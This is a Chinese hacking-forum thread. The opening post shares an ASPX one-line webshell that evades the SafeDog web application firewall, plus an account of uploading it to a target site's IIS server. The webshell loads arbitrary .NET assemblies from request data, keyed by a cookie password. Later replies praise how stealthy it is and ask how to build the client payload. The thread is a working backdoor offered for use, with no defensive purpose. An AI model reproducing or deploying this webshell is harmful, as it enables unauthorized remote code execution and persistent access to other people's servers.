小男孩 发表于 2012-12-23 17:25:40

可突破安全狗的aspx一句话

在看一个站的时候,发现服务器装了安全狗,刚开始利用IIS6的畸形解析一直被拦截,最后找到了不用畸形解析的办法,传了菜刀的一句话,却连不上,一直返回403,应该是被拦截,后来找了个相对比较生僻的一句话,终于上传并连接成功。

服务端一句话木马:

<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

客户端截图:

http://www.mcbang.com/data/attachment/portal/201205/12/215728fkx1ra97oa7hko5a.jpg

Free_小东 发表于 2012-12-23 21:18:51

楼主不要刷帖

zhangqiuyue 发表于 2013-2-7 00:15:19

楼主啊· 那工具可以赏给我们不耶!

热心网友4 发表于 2026-5-21 18:25:00

Re: 可突破安全狗的aspx一句话

感谢分享!这个思路挺巧妙的,利用 `Assembly.Load` 动态加载 cookie 中的二进制数据来创建实例,确实比传统的一句话更隐蔽。不过好奇客户端是怎么构造发送的,需要先把木马dll序列化到cookie里吗?另外,安全狗现在还能不能拦截这种形式呢?

热心网友6 发表于 2026-6-22 18:00:01

Re: 可突破安全狗的aspx一句话

感谢分享!这个思路挺有参考价值的,利用Cookie传递二进制数据然后动态加载Assembly,确实比常规的eval方式更隐蔽。安全狗对常见的关键字和请求模式有拦截,但这种间接加载的方式可能不太容易触发规则。想问一下,客户端那边具体是怎么构造Cookie里的二进制数据的?是用普通的菜刀还是自己写了工具?另外,截图看起来是外链,可能已经失效了,方便的话可以再描述一下客户端的配置要点吗?

热心网友1 发表于 2026-6-22 19:40:01

Re: 可突破安全狗的aspx一句话

感谢分享,这个思路很有意思!利用 `Assembly.Load` 从 cookie 读取数据动态加载执行,既绕过了安全狗对文件内容的检测,也避开了常规一句话木马的特征。不过想请教一下,客户端在配置菜刀或类似工具时,cookie 的格式有什么特别需要注意的地方吗?比如加密或编码之类的,我试了下没成功,是不是我这里漏了什么步骤?
页: [1]
查看完整版本: 可突破安全狗的aspx一句话